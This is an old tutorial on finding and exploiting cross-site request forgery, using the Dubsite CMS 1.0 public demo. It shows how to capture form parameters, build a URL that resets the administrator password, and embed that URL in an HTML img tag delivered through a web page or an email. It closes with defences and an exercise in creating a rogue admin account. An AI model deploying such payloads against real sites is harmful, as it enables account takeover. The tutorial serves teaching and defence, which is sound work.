/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\
:Finding and Exploiting CSRF Vulnerabilities :
\______________________________________________/
/By: Connection \
\________________/
What is CSRF?~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~
CSRF (Cross-Site Request Forgery) is a vulnerability found in web applications which allow a remote attacker to create a special web page or email which, when viewed by an authenticated viewer on a remote site, will execute a particular script. The script executed could range from creating usernames with administrative access, changing the admins (or any other user's) password, creating content on the site, deleting content on the site, and any other action that a user with an authenticated session might be able to do.
How do I find CSRF Vulnerabilities?~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~
This is an interactive tutorial on finding CSRF Vulnerabilities using a demo CMS from
http://demo.opensourcecms.com. At the time of this writing the vulnerability exists on Dubsite CMS 1.0 but the vendor has been alerted to this and thus I cannot verify that at the time this is written the vulnerability will exist. The tools I use to find CSRF vulnerabilties are Firefox Web Browser, the Tamper Data Firefox Plug-in, and Notepad++ (or any other text-editor).
Step 1: visit
http://demo.opensourcecmd.com/dubsite/index.php/login and login with the following credentials:
Username: admin
Password: demo123
Step 2: Navigate to the user control panel of the admin page located at
http://demo.opensourcecms.com/dubsite/index.php/admin/users/accountsStep 3: We are now going to attempt to modify the administrator's password. Click on edit and fill in the data you want. Before you click submit, start tamper data to sniff the requests.
Now make a note of the parameters passed to the website. Mine look like this:
The stuff we interested in are the URL up top and all the POST parameters in the right window. Open up your favorite text-editor and copy down all these values.
Step 4: Here comes the fun part, we are going to create our evil URL. We have to combine our base url with our post parameters.
Our base URL is the URL we copied from tamper data. In this case our base URL is :
http://demo.opensourcecms.com/dubsite/index.php/admin/users/accounts/edit/1When we append POST parameters to a base URL we start with adding a ? to the base URL and then combine parameters by linking them with a &. An example is
http://base.url/goes/here?first=parameter&second=parameter A more specific example is for our Dubsite CMS base URL:
http://demo.opensourcecms.com/dubsite/index.php/admin/users/accounts/edit/1?username=admin&userpassword=test123&userpassword2=test123&role_id=1&active=1&update=UpdateAs you can see we send the data back to the server the same way our browser sent it. This example URL will edit the administrator account's password and change it to test123.
Step 5: Now we have a few methods of getting the authenticated administrator to execute this command. First of all we could make a website and set it like this:
<html>
<head>
</head>
<body>
<img src = "http://demo.opensourcecms.com/dubsite/index.php/admin/users/accounts/edit/1?username=admin&userpassword=test123&userpassword2=test123&role_id=1&active=1&update=Update" />
</body>
</html>
When the web browser views the page it will send the link to the admin's site trying to get the information for the image which will in turn execute the change password feature.
Another way to get the admin to execute the command is to email the admin with the <img> tag trick in the body of the email. Opening the email will cause the server to try to grab the image and will execute the change password function.
Conclusion~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~
CSRF vulnerabilities could cause a lot of harm to a system admin because the form does not have some sort of validation token in place to make sure the administrator is actually issuing the command. A technique that will stop many attackers is to add HTTP_REFERER checking to the page with the form. Coming from an email or other website, the request for the form will be either blanked out or wrong and thus tip off the admin to what is going on. Combined with session tokens for making sure each visit to the form is unique, this will stop attackers from attacking your site via CSRF techniques.
Bonus Points~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~
The create user function is also vulnerable to CSRF attacks. For more practice try to exploit it and create your own administrator user.
~_¯Connection_¯~_¯Reset_¯~_¯By_¯~_¯Peer_¯~_¯~_¯~
-----
Other supports:
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
Once again, just bringing some old tutorials.
